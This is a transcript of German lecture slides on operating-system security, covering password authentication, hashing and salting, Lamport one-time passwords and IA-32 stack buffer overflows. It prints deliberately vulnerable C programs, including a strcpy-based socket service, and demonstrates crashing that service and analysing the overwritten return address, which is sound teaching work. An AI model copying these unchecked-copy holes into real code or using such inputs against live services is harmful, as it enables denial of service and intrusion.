Betriebssysteme - Sicherheit

Transkript

1 Betriebssysteme - Sicherheit alois.schuette@h-da.de Version: WS2015-v1.0(6a9de72) Alois Schütte 3. September / 85

2 Inhaltsverzeichnis Informationssicherheit ist ein weites Feld. Hier beschränken wir und auf wenige Aspekte. 1 Einführung 2 Benutzer-Authentifizierung 3 Pufferüberläufe 4 Gegenmassnahmen 2 / 85

3 Einführung Einführung Als IT-Sicherheit (IT security) bezeichnet man Eigenschaften von IT-Systemen, die die Vertraulichkeit (confidentiality), Daten dürfen lediglich von autorisierten Benutzern gelesen bzw. modifiziert werden. Dies gilt sowohl beim Zugriff auf gespeicherte Daten wie auch während der Datenübertragung. die Verfügbarkeit (availability) und Der Zugriff auf Daten muss innerhalb eines vereinbarten Zeitrahmens gewährleistet wer- den. Systemausfälle gilt es zu verhindern. die Integrität (integrity) Daten dürfen nicht unbemerkt verändert werden. Alle Änderungen müssen nachvollziehbar sein. sicherstellen. 3 / 85

4 Einführung Verwandte Begriffe: Authentizität Echtheit und Glaubwürdigkeit einer Person oder eines Dienstes müssen überprüfbar sein. Zurechenbarkeit (accountability) Eine durchgeführte Handlung muss einem Kommunikationspartner eindeutig zugeordnet werden können. Verbindlichkeit Ein Abstreiten durchgeführter Handlungen ist nicht möglich. Sie ist unter anderem wichtig beim elektronischen Abschluss von Verträgen. Erreichbar z.b durch elektronische Signaturen. 4 / 85

5 Einführung Bedrohungsziele IT-Sicherheit wird immer wichtiger, da es ständig neue und vermehrt Bedrohungen gibt mit dem Ziel: Systemausfälle zu provozieren, illegale Ressourcennutzung, Veränderung von Inhalten, Sabotage, Spionage und Betrug bzw. Diebstahl. Kennen Sie aktuelle Beispiele? 5 / 85

6 Einführung Bedrohungen Folgende Bedrohungen können unterschieden werden: Höhere Gewalt, Fehlbedienung, Vieren, Trojaner, Würmer, Spoofing, Phishing, Denial of Service Angriffe, Man-in-the middle Attacken und Social attacks Kennen Sie aktuelle Beispiele? 6 / 85

7 Benutzer-Authentifizierung Benutzer-Authentifizierung 1 Einführung 2 Benutzer-Authentifizierung Wissen Besitzen Sein 3 Pufferüberläufe 4 Gegenmassnahmen 7 / 85

8 Benutzer-Authentifizierung Faktoren Die Authentifizierung von Benutzern erfolgt über verschiedene Faktoren, etwas, was der Benutzer weiß z.b. Wissen seines Passwort hat z.b. Besitzen einer Smartcard ist z.b. eines seiner biometrischen Merkmale Je mehr Faktoren (Multifaktorauthentifikation) eine Authentifizierungsmethode hat, desto sicherer ist das Verfahren i.a. 8 / 85

9 Benutzer-Authentifizierung Wissen Wissen Als Beispiel nehmen wird Benutzer-Authentifizierung durch Passwörter. Regeln für ein Authentifizierungssytem: Bei falscher Eingabe sollte das System nicht sagen, was falsch ist, Benutzername oder Passwort. (wieso?) 9 / 85

10 Benutzer-Authentifizierung Wissen Wissen Als Beispiel nehmen wird Benutzer-Authentifizierung durch Passwörter. Regeln für ein Authentifizierungssytem: Bei falscher Eingabe sollte das System nicht sagen, was falsch ist, Benutzername oder Passwort. (wieso?) Passworte dürfen nicht als Klartext angezeigt werden. (wieso?) 9 / 85

11 Benutzer-Authentifizierung Wissen Wissen Als Beispiel nehmen wird Benutzer-Authentifizierung durch Passwörter. Regeln für ein Authentifizierungssytem: Bei falscher Eingabe sollte das System nicht sagen, was falsch ist, Benutzername oder Passwort. (wieso?) Passworte dürfen nicht als Klartext angezeigt werden. (wieso?) Sternchen (oder ähnliches) sollten angezeigt werden, die Anzahl sollte bei Wiederholungen aber nicht mit der Anzahl der vorherigen Eingaben übereinstimmen. (wieso?) 9 / 85

12 Benutzer-Authentifizierung Wissen Wissen Als Beispiel nehmen wird Benutzer-Authentifizierung durch Passwörter. Regeln für ein Authentifizierungssytem: Bei falscher Eingabe sollte das System nicht sagen, was falsch ist, Benutzername oder Passwort. (wieso?) Passworte dürfen nicht als Klartext angezeigt werden. (wieso?) Sternchen (oder ähnliches) sollten angezeigt werden, die Anzahl sollte bei Wiederholungen aber nicht mit der Anzahl der vorherigen Eingaben übereinstimmen. (wieso?) 9 / 85

13 Benutzer-Authentifizierung Wissen Passworte Problem: Passwörter sind oft schlecht gewählt oder der Default-Wert wird beibehalten. (z.b. Oracle sysadmin/master) Lösung: unternehmensweite Passwortregeln, wie z.b. Mindestens 10 Zeichen Groß- und Kleinbuchstaben Ziffern und Sonderzeichen nicht in Wörterbüchern vorhanden 10 / 85

14 Benutzer-Authentifizierung Wissen Passworte Problem: Passwörter sind oft schlecht gewählt oder der Default-Wert wird beibehalten. (z.b. Oracle sysadmin/master) Lösung: unternehmensweite Passwortregeln, wie z.b. Mindestens 10 Zeichen Groß- und Kleinbuchstaben Ziffern und Sonderzeichen nicht in Wörterbüchern vorhanden 10 / 85

15 Benutzer-Authentifizierung Wissen Speicherung von Passworten Passworte werden nicht als Klartext im System gespeichert, man verwendet eine Einwegfunktionen: Einwegfunktion: y = f (x) ist Einwegfunktion, wenn gilt: Verfahren: bei gegebenem x ist y leicht (effizient) zu berechnen bei gegebenem y ist x sehr schwer (computational infeasible) zu berechen 1 Man speichert dann den Hash = e(passwort) 2 Zum Authentifizieren testet man dann: e(eingegebenes Passwort) == hash 11 / 85

16 Benutzer-Authentifizierung Wissen Speicherung von Passworten Passworte werden nicht als Klartext im System gespeichert, man verwendet eine Einwegfunktionen: Einwegfunktion: y = f (x) ist Einwegfunktion, wenn gilt: bei gegebenem x ist y leicht (effizient) zu berechnen bei gegebenem y ist x sehr schwer (computational infeasible) zu berechen Verfahren: 1 Man speichert dann den Hash = e(passwort) 2 Zum Authentifizieren testet man dann: e(eingegebenes Passwort) == hash Beispiele für Einwegfunktionen md5 sha ( linux sha1sum) /etc/passwd, /etc/shadow (linux) 11 / 85

17 Benutzer-Authentifizierung Wissen Speicherung von Passworten Passworte werden nicht als Klartext im System gespeichert, man verwendet eine Einwegfunktionen: Einwegfunktion: y = f (x) ist Einwegfunktion, wenn gilt: bei gegebenem x ist y leicht (effizient) zu berechnen bei gegebenem y ist x sehr schwer (computational infeasible) zu berechen Verfahren: 1 Man speichert dann den Hash = e(passwort) 2 Zum Authentifizieren testet man dann: e(eingegebenes Passwort) == hash Beispiele für Einwegfunktionen md5 sha ( linux sha1sum) /etc/passwd, /etc/shadow (linux) 11 / 85

18 Benutzer-Authentifizierung Wissen Brute-Force Angriffe Durch Brute-Force Angriffe können schlechte Passworte entschlüsselt werden. Werkzeuge dazu sind frei verfügbar z.b. john the ripper Lösungen (kombinierbar): 1 Langsame Hash-Funktion Hash = e(e(e(...e(passwort)...))) 12 / 85

19 Benutzer-Authentifizierung Wissen Brute-Force Angriffe Durch Brute-Force Angriffe können schlechte Passworte entschlüsselt werden. Werkzeuge dazu sind frei verfügbar z.b. john the ripper Lösungen (kombinierbar): 1 Langsame Hash-Funktion Hash = e(e(e(...e(passwort)...))) 2 Suppe versalzen Hash = e(passwort + Salt) Beispiel: Login as Passwort Jennni Salt gespeichertes Passwort e(jenni ) 12 / 85

20 Benutzer-Authentifizierung Wissen Brute-Force Angriffe Durch Brute-Force Angriffe können schlechte Passworte entschlüsselt werden. Werkzeuge dazu sind frei verfügbar z.b. john the ripper Lösungen (kombinierbar): 1 Langsame Hash-Funktion Hash = e(e(e(...e(passwort)...))) 2 Suppe versalzen Hash = e(passwort + Salt) Beispiel: Login as Passwort Jennni Salt gespeichertes Passwort e(jenni ) 3 Shadow-Passort Datei nur Root kann Datei lesen 12 / 85

21 Benutzer-Authentifizierung Wissen Brute-Force Angriffe Durch Brute-Force Angriffe können schlechte Passworte entschlüsselt werden. Werkzeuge dazu sind frei verfügbar z.b. john the ripper Lösungen (kombinierbar): 1 Langsame Hash-Funktion Hash = e(e(e(...e(passwort)...))) 2 Suppe versalzen Hash = e(passwort + Salt) Beispiel: Login as Passwort Jennni Salt gespeichertes Passwort e(jenni ) 3 Shadow-Passort Datei nur Root kann Datei lesen 12 / 85

22 Benutzer-Authentifizierung Wissen Einmal-Passworte Einfache Lösung: zufällig erzeugte Passworte in einem Buch aufschreiben Authentifizierung: 1 Benutzer muss im Buch aufgeschriebenes Passwort eingeben, 2 dann wird das Passwort aus dem Buch gelöscht. 13 / 85

23 Benutzer-Authentifizierung Wissen Einmal-Passworte Einfache Lösung: zufällig erzeugte Passworte in einem Buch aufschreiben Authentifizierung: 1 Benutzer muss im Buch aufgeschriebenes Passwort eingeben, 2 dann wird das Passwort aus dem Buch gelöscht. Beispiel: TAN-Liste beim elektronischen Banking Wie sicher ist diese Lösung? 13 / 85

24 Benutzer-Authentifizierung Wissen Einmal-Passworte Einfache Lösung: zufällig erzeugte Passworte in einem Buch aufschreiben Authentifizierung: 1 Benutzer muss im Buch aufgeschriebenes Passwort eingeben, 2 dann wird das Passwort aus dem Buch gelöscht. Beispiel: TAN-Liste beim elektronischen Banking Wie sicher ist diese Lösung? 13 / 85

25 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Lösung 2: Leslie Lamport Algorithmus für Netzwerk-Zugang Gegeben: s = geheimes Passwort, Integer n, Hash-Funktion e man verwendet folgende Funktion: P x = e n x (s) = e(p x+1 ) z.b. für n=5: P 0 = e n (s) = e(e(e(e(e(s))))) = e(p 1) P 1 = e n 1 (s) = e(e(e(e(s)))) = e(p 2) P 2 = e n 2 (s) = e(e(e(s))) = e(p 3)... P 4 = e n 4 (s) = e(s) 14 / 85

26 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 15 / 85

27 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 15 / 85

28 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 15 / 85

29 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 4 Benutzer antwortet mit P 1 = e n 1 (s) (n-1 mal gehashtem Passwort) 15 / 85

30 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 4 Benutzer antwortet mit P 1 = e n 1 (s) (n-1 mal gehashtem Passwort) 5 Server prüft: P 0 == e(p 1) 15 / 85

31 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 4 Benutzer antwortet mit P 1 = e n 1 (s) (n-1 mal gehashtem Passwort) 5 Server prüft: P 0 == e(p 1) 6 wenn ja, dann Authentifizierung ok, Server speichert P 1 und n 15 / 85

32 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 4 Benutzer antwortet mit P 1 = e n 1 (s) (n-1 mal gehashtem Passwort) 5 Server prüft: P 0 == e(p 1) 6 wenn ja, dann Authentifizierung ok, Server speichert P 1 und n 7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss mit P 2 antworten, u.s.w. 15 / 85

33 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 4 Benutzer antwortet mit P 1 = e n 1 (s) (n-1 mal gehashtem Passwort) 5 Server prüft: P 0 == e(p 1) 6 wenn ja, dann Authentifizierung ok, Server speichert P 1 und n 7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss mit P 2 antworten, u.s.w. 8 ist n erreicht, muss ein neues Passwort s gewählt werden und der Prozess beginnt von vorne. 15 / 85

34 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 4 Benutzer antwortet mit P 1 = e n 1 (s) (n-1 mal gehashtem Passwort) 5 Server prüft: P 0 == e(p 1) 6 wenn ja, dann Authentifizierung ok, Server speichert P 1 und n 7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss mit P 2 antworten, u.s.w. 8 ist n erreicht, muss ein neues Passwort s gewählt werden und der Prozess beginnt von vorne. Bemerkungen Das Passwort s wird nie gespeichert oder übertragen. Linux-Implementierung: S/KEY 15 / 85

35 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus für Einwegpassworte Authentifikation: 1 P 0 und n werden im Authentifizierungs-Server gespeichert 2 Benutzer meldet sich an 3 Server sendet 1 4 Benutzer antwortet mit P 1 = e n 1 (s) (n-1 mal gehashtem Passwort) 5 Server prüft: P 0 == e(p 1) 6 wenn ja, dann Authentifizierung ok, Server speichert P 1 und n 7 beim 2. Login-Versuch wird der Server 2 senden, der Benutzer muss mit P 2 antworten, u.s.w. 8 ist n erreicht, muss ein neues Passwort s gewählt werden und der Prozess beginnt von vorne. Bemerkungen Das Passwort s wird nie gespeichert oder übertragen. Linux-Implementierung: S/KEY 15 / 85

36 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus - Authentifikation Client Server Benutzer Jenni registriert sich: berechne P 0 = e n (s) P 0,n,Jenni speichere P = P 0, n initialisiere c = 1 Benutzer Jenni gibt Passwort p ein: berechne P c = e n c (p) Jenni c P c Antwort = (P == e(p c )) if (Antwort) {c++; P = P c } Antwort 16 / 85

37 Benutzer-Authentifizierung Wissen Leslie Lamport Algorithmus - Authentifikation Client Server Benutzer Jenni registriert sich: berechne P 0 = e n (s) P 0,n,Jenni speichere P = P 0, n initialisiere c = 1 Benutzer Jenni gibt Passwort p ein: berechne P c = e n c (p) Jenni c P c Antwort = (P == e(p c )) if (Antwort) {c++; P = P c } Antwort 16 / 85

38 Benutzer-Authentifizierung Besitzen Besitzen Der Benutzer muss etwas besitzen, z.b. normalen Schlüssel Karte mit Magnetstreifen mit Chip Beispiel: EC-Karten Einmal-Passwort Geräte/Token Alle 60 Sekunden wird ein neues Einmalpasswort angezeigt, dass bei der Eingabemaske zum normalen Passwort anzugeben ist. Beispiel: Secure ID von RSA 17 / 85

39 Benutzer-Authentifizierung Sein Sein Man überprüft, ob der Benutzer etwas ist, z.b. ein biometrisches Merkmal hat: Fingerabdruck (z.b. iphone 5s) Retina (Augenhintergrund) Unterschrift Gesichtsgeometrie / 85

40 Pufferüberläufe Pufferüberläufe 1 Einführung 2 Benutzer-Authentifizierung 3 Pufferüberläufe Datentypen der IA-32 Prozessorarchitektur Speicherorganisation Stack Funktionsprinzip Schwachstellen Angriffsmöglichkeiten - Denial of Service Attacken Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Angriffsmöglichkeiten - Eingeschleuster Programmkode 4 Gegenmassnahmen 19 / 85

41 Pufferüberläufe Pufferüberläufe Hier werden Pufferüberläufe mit ihren Auswirkungen betrachtet 1. Umgebung: Die Schwachstellen werden auf Intel Linux Rechnern (ELF basiertes Unix mit IA-32 Architektur) diskutiert. Sie sind aber auf anderen Systemen ebenfalls möglich, dann sind die spezifischen Umgebungsbesonderheiten entsprechend zu berücksichtigen. Die Programme, die als Basis für die Pufferüberläufe, gezeigt werden, sind in C geschrieben und mit dem GNU Compiler übersetzt. Durch Darstellung des Programmablaufs wird der GNU Debugger verwendet. 1 Die vorgestellten Programme orientieren sich am Buch Buffer Overflows und Format-String-Schwachstellen von Tobias Klein. Dort sind weitere Schwachstellen und Gegenmassnahmen beschrieben. 20 / 85

42 Pufferüberläufe Datentypen der IA-32 Prozessorarchitektur Datentypen der IA-32 Prozessorarchitektur Ein Byte hat 8 Bit, ein Wort besteht aus 2 Byte, ein Doppelwort aus 4 Byte. Verwendet wird Little-endian-Byte-Ordering. Daten und Speicher werden wie folgt dargestellt: Byte Wort Doppelwort high B. low B Speicher Bit Offset 16 höchste Adresse Byte 3 Byte 2 Byte 1 Byte 0 0 niedrigste Adresse Byte Offset 21 / 85

43 Pufferüberläufe Speicherorganisation Speicherorganisation Pufferüberläufe kann man nur verstehen, wenn die Prozess- und Speicherorganisation bekannt ist. Eine Binärdatei enthält ein ausführbares Programm und ist auf einem Datenträger abgelegt. Hier wird das in Linux übliche Format ELF (Executable and Linking Format) zu Grunde gelegt. Wird ein Programm aufgerufen, wird der dazu gehörende Programmkode in den Hauptspeicher geladen und das Programm wird in dieser Umgebung ausgeführt. Dieses sich im Ablauf befindende Programm wird Prozess genannt. Einem Prozess ist ein (virtueller) Adressraum zur Verfügung gestellt, der in Segmente aufgeteilt ist. 0xc Stack hohe Adressen 0x frei Heap Data Text niedrige Adressen 22 / 85

44 Pufferüberläufe Speicherorganisation Textsegment Im Textsegment wird der (übersetze) Programmkode abgelegt. Dieser Bereich ist read only, um zu verhindern, dass ein Prozess seine Instruktionen versehentlich überschreibt. Ein Schreibversuch in den Bereich führt zu einem Fehler (Segmentation Violation, Speicherzugriffsfehler). segmentationviolation.c 1 char global [] = " Text "; 3 int main ( void ) { 4 printf ("%s\n", global ); 5 global [ ] = 'a'; 6 return 0; 7 } Stack frei Heap t x e T Text global[-10000] Was passiert, wenn global[4]= X gesetzt wird? 23 / 85

45 Pufferüberläufe Speicherorganisation Data Segment Globale und static Variable werden im Data Segment abgelegt. Dabei wird das Segment nochmals unterteilt, in den Data und den BSS Block (block started by symbol). Im Data Block werden initialisierte globale und initialisierte static Variable gespeichert. Im BSS Block werden nicht initialisierte globale und nicht initialisierte static Variable gespeichert. 24 / 85

46 Pufferüberläufe Speicherorganisation Stack Auto-Variable (lokale Variable einer Funktion) und Funktionsparameter werden auf dem Stack abgelegt, wenn die Funktion aufgerufen wird. Der Stack ist unterteilt in zwei Bereiche: Umgebungsinformationen zum Prozess User Stack Insgesamt wächst der Stack von hohen zu niedrigen Adressen. oberstes Element Endemarke Programname env[0]... env[m] argv[0]... argv[n] argc User Stack frei 25 / 85

47 Pufferüberläufe Speicherorganisation Adressraum beobachten Mittels des GNU Debuggers kann man die Lage der einzelnen Arten von Variablen im Speicher ansehen. Dazu betrachten wir ein einfaches Programm: segmente.c 1 char global_i [] = " Text "; 2 int global_ni ; 4 void funktion ( int lokal_a, int lokal_b, int lokal_c ) { 5 static int lokal_stat_i = 15; 6 static int lokal_stat_ni ; 7 int lokal_i ; 8 } 10 int main ( void ) { 11 funktion (1, 2, 3); 12 return 0; 13 } Der GNU Compiler muss mit der Option g aufgerufen werden, um Debug-Information zu generieren: $ gcc -g -o segmente segmente.c 26 / 85

48 Pufferüberläufe Speicherorganisation Nun kann der Debugger aufgerufen werden: 1 $ gdb segmente 2 GNU gdb ( GDB ) Fedora ( fc14 ) 3 Reading symbols from segmente... done. 4 ( gdb ) Wir setzen einen Breakpoint am Ende der Funktion function, um die Speicherbelegung ansehen zu können 1 ( gdb ) list 2 2 int global_ni ; void funktion ( int lokal_a, int lokal_b, int lokal_c ) { 5 5 static int lokal_stat_i = 15; 6 6 static int lokal_stat_ni ; 7 7 int lokal_i ; 8 8 } int main ( void ) { funktion (1, 2, 3); 12 ( gdb ) break 8 13 Breakpoint 1 at 0 x : file segmente.c, line ( gdb ) 27 / 85

49 Pufferüberläufe Speicherorganisation Nun wird das Programm ablaufen: 1 ( gdb ) run 2 Starting program : segmente 4 Breakpoint 1, funktion ( lokal_a =1, lokal_b =2, lokal_c =3) at segmente.c:8 5 8 } 6 ( gdb ) Wir sehen uns die Adressen der einzelnen Variablen an: 1 ( gdb ) print & global_i 2 $3 = ( char (*)[5]) 0 x804962c 3 ( gdb ) help info symbol 4 Describe what symbol is at location ADDR. 5 Only for symbols with fixed locations ( global or static scope ). 6 ( gdb ) info symbol 0 x804962c 7 global_i in section. data of segmente 8 ( gdb ) print & global_ni 9 $4 = ( int *) 0 x ( gdb ) info symbol 0 x global_ni in section. bss of segmente 12 ( gdb ) print & lokal_stat_i 13 $5 = ( int *) 0 x ( gdb ) info symbol 0 x lokal_stat_i.1219 in section. data of segmente 16 ( gdb ) 28 / 85

50 Pufferüberläufe Speicherorganisation Die Lage der nicht statischen lokalen Variablen kann man nur über einen Trick ansehen, da sie sich auf dem Stack befinden: man verzweigt vom Debugger zur Shell und sieht im proc-dateisystem nach. 1 ( gdb ) shell 2 [ as@ulab1 Schwachstellen ]$ ps -a grep segmente pts /0 00:00:00 segmente 4 [ as@ulab1 Schwachstellen ]$ cat / proc /26121/ maps r- xp :00 0 [ vdso ] Anfang Textsegment a r- xp fd : / lib /ld so r--p 0001 c000 fd : / lib /ld so rw -p 0001 d000 fd : / lib /ld so b e000 r- xp fd : / lib / libc so e f p fd : / lib / libc so f r--p fd : / lib / libc so rw -p fd : / lib / libc so rw -p : r- xp fd : segmente a000 rw -p fd : segmente 16 b7fef000 - b7ff0000 rw -p : b7fff000 - b rw -p : bffdf000 - c rw -p :00 0 [ stack ] Anfang Stack 19 exit mit Adr. lokal i 20 ( gdb ) 29 / 85

51 Pufferüberläufe Stack Funktionsprinzip Stack Funktionsprinzip Der Stack wird durch push- und pop-operationen verwaltet und ist in Frames eingeteilt. Neben den automatischen Variablen und den Funktionsparametern, werden auch Verwaltungsinformationen, wie z.b. die Rücksprungadresse und Framepointer bei einem Funktionsaufruf auf den Stack geschrieben. 30 / 85

52 Pufferüberläufe Stack Funktionsprinzip Stack Beispiel funk normal.c 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion (1, 2, 3); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack vor dem Aufruf der Funktion funktion(1,2,3): i = 1 frei 31 / 85

53 Pufferüberläufe Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion ( 1,2,3 ); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack nach Kopieren der aktuellen Parameter, vor dem Aufruf funktion(1,2,3): i = Rücksprungadresse i = funktion(1,2,3) in main frei 32 / 85

54 Pufferüberläufe Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } Stack nach Aufruf von i=funktion(1,2,3), vor Termination der Funktion: i = Rücksprungadresse Framepointer?? buff[9] buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] 6 frei buff[16] main() funktion() 33 / 85

55 Pufferüberläufe Stack Funktionsprinzip 1 void funktion ( int a, int b, int c) { 2 char buff [10]; /* lokale Variable auf dem Stack */ 3 buff [0] = 6; 4 buff [1] = a; 5 return 6; 6 } 8 int main ( void ) { 9 int i = 1; /* lokale Variable auf dem Stack */ 10 i = funktion (1,2,3); /* Argumente, welche an die Funktion 11 übergeben und auf dem Stack 12 gespeichert werden */ 13 return 0; 14 } Stack nach Aufruf von i=funktion(1,2,3), nach Termination der Funktion: i = 6 frei 34 / 85

56 Pufferüberläufe Schwachstellen Schwachstellen Eine Stackbasierte Buffer-Overflow Schwachstelle entsteht, wenn die Verwaltungsinformation auf dem Stack manipuliert wird, indem z.b. ein statisches Array mit mehr Werten gefüllt wird, als es gross ist. 35 / 85

57 Pufferüberläufe Schwachstellen Beispiel Im folgenden Beispiel wird es einen solchen Überlauf geben, wenn das Programm mit einem Argument aufgerufen wird, das zu lang ist. stack bof.c 1 # include <stdio.h> 2 # include <string.h> 4 void funktion ( char * args ) { 5 char buff [12]; 6 strcpy ( buff, args ); 7 } 9 int main ( int argc, char * argv []){ 10 printf (" Eingabe : "); 11 if ( argc > 1) { 12 funktion ( argv [1]); 13 printf ("%s\n", argv [1]); 14 } else 15 printf (" Kein Argument!\ n"); 16 return 0; 17 } $ stack_bof Eingabe : $ stack_bof Speicherzugriffsfehler $ 36 / 85

58 Pufferüberläufe Schwachstellen 1 void funktion ( char * args ) { 2 char buff [12]; 3 strcpy ( buff, args ); 4 } $ stack_bof Eingabe : $ stack_bof Speicherzugriffsfehler $ Der Grund des Absturzes ist, dass die Rücksprungadresse überschreiben wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat. Rücksprungadresse Framepointer buff[11]buff[10]buff[9]buff[8] buff[7] buff[6] buff[5] buff[4] buff[3] buff[2] buff[1] buff[0] frei main() funktion() frei 37 / 85

59 Pufferüberläufe Angriffsmöglichkeiten - Denial of Service Attacken Angriffsmöglichkeiten - Denial of Service Attacken Das Abschiessen von Service-Programmen nennt man auch Denial of Service Attacke. Eine Möglichkeit, dies zu tun besteht im Ausnutzen von Pufferüberläufen die dann zum Absturz des Service-Programms führen der Service steht dann nicht mehr zur Verfügung. Das folgende Programm realisiert einen Service (auf Socket Basis), der auf den Port 7777 hört und dem Benutzer bei Anfragen zur Eingabe auffordert, dann den Eingabewert zurück liefert. dos.c 1 # include <sys / types.h> 2 # include <stdio.h> 3 # include <sys / socket.h> 4 # include <netinet / in.h> 5 # include <arpa / inet.h> 6 # include <string.h> 7 # include <unistd.h> 9 # define LISTENQ # define SA struct sockaddr 11 # define PORT / 85

60 Pufferüberläufe Angriffsmöglichkeiten - Denial of Service Attacken 1 void do_sth ( char * str ) { 2 char buff [24]; 3 strcpy ( buff, str ); 4 printf (" buff :\ t%s\n", buff ); 5 } 7 int main ( int argc, char * argv []) { 8 char line [64]; 9 int listenfd, connfd ; 10 struct sockaddr_in servaddr ; ssize_t n; 11 listenfd = socket ( AF_INET, SOCK_STREAM, 0); 12 bzero (& servaddr, sizeof ( servaddr )); 13 servaddr. sin_family = AF_INET ; 14 servaddr. sin_addr. s_addr = htonl ( INADDR_ANY ); 15 servaddr. sin_port = htons ( PORT ); 16 bind ( listenfd, (SA *) & servaddr, sizeof ( servaddr )); 17 listen ( listenfd, LISTENQ ); 19 while (1) { 20 connfd = accept ( listenfd, ( SA *) NULL, NULL ); 21 write ( connfd, " Eingabe :\t", 9); 22 n = read ( connfd, line, sizeof ( line ) - 1); 23 line [n] = 0; 24 do_sth ( line ); 25 close ( connfd ); 26 } 27 } 39 / 85

61 Pufferüberläufe Angriffsmöglichkeiten - Denial of Service Attacken Der Dienst wird gestartet: $ dos & [1] 6814 $ ps PID TTY TIME CMD 5939 pts /0 00:00:00 bash pts /0 00:00:00 dos 6820 pts /0 00:00:00 ps $ Nun kann der Dienst von einem (normalerweise anderen) Rechner in Anspruch genommen werden: $ telnet localhost 7777 Trying Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAA buff : AAAAAAAA Connection closed by foreign host. $ 40 / 85

62 Pufferüberläufe Angriffsmöglichkeiten - Denial of Service Attacken Der Dienst wird abgeschossen, wenn die Benutzereingabe zu gross ist, weil die Funktion do sth() die Bibliotheksfunktion strcpy() verwendet und keine Längenprüfung erfolgt (Pufferüberlauf): $ telnet localhost 7777 Trying Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA buff : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. [1]+ Speicherzugriffsfehler dos $ ps PID TTY TIME CMD 5939 pts /0 00:00:00 bash 6824 pts /0 00:00:00 ps $ Der Grund des Absturzes ist auch hier, dass die Rücksprungadresse überschreiben wurde und der Versuch an die überschriebene Adresse zu springen, einen Speicherzugriffsfehler erzwungen hat. 41 / 85

63 Pufferüberläufe Angriffsmöglichkeiten - Denial of Service Attacken Das sieht man, indem man den Coredump auswertet (dazu muss man das Anlegen eines Coredump explizite erlauben): $ ulimit -c 1000 $ telnet localhost 7777 Trying Connected to localhost. Escape character is '^] '. Eingabe : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA buff : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Connection closed by foreign host. [1]+ Speicherzugriffsfehler ( core dumped ) dos $ ls core.6844 dos dos.c $ gdb dos core.6831 Core was generated by `dos '. Program terminated with signal 11, Segmentation fault.... ( gdb ) info registers ebp eip ebp 0 x x eip 0 x x ( gdb ) Die Rücksprungadresse (im Register eip) besteht aus 0x = AAAAAAAA. Das ist keine gültige Adresse. Der Framepointer (im Register ebp) ist auch mit A s überschrieben. 42 / 85

64 Pufferüberläufe Angriffsmöglichkeiten - Gezielte Modifikation des Programmflusses Gezielte Modifikation des Programmflusses Im letzten Beispiel wurde die Rücksprungadresse mit A s überschreiben. Den Programmfluss kann man manipulieren, wenn man die Rücksprungadresse mit einer gültigen Adresse überschreibt. Es ist also erforderlich, 1 die Speicheradresse zu bestimmen, an der sich die Rücksprungadresse befindet (diesen Platz wollen wir ja überschreiben) und 2 eine neue Adresse zu bestimmen, an der das Programm weiter machen soll. Im folgenden Programm gibt es zwei Funktionen: oeffentlich() die soll von einem normalen Benutzer aufgerufen werden; geheim() die soll nur aufgerufen werden, wenn der Superuser das Programm verwendet. 43 / 85

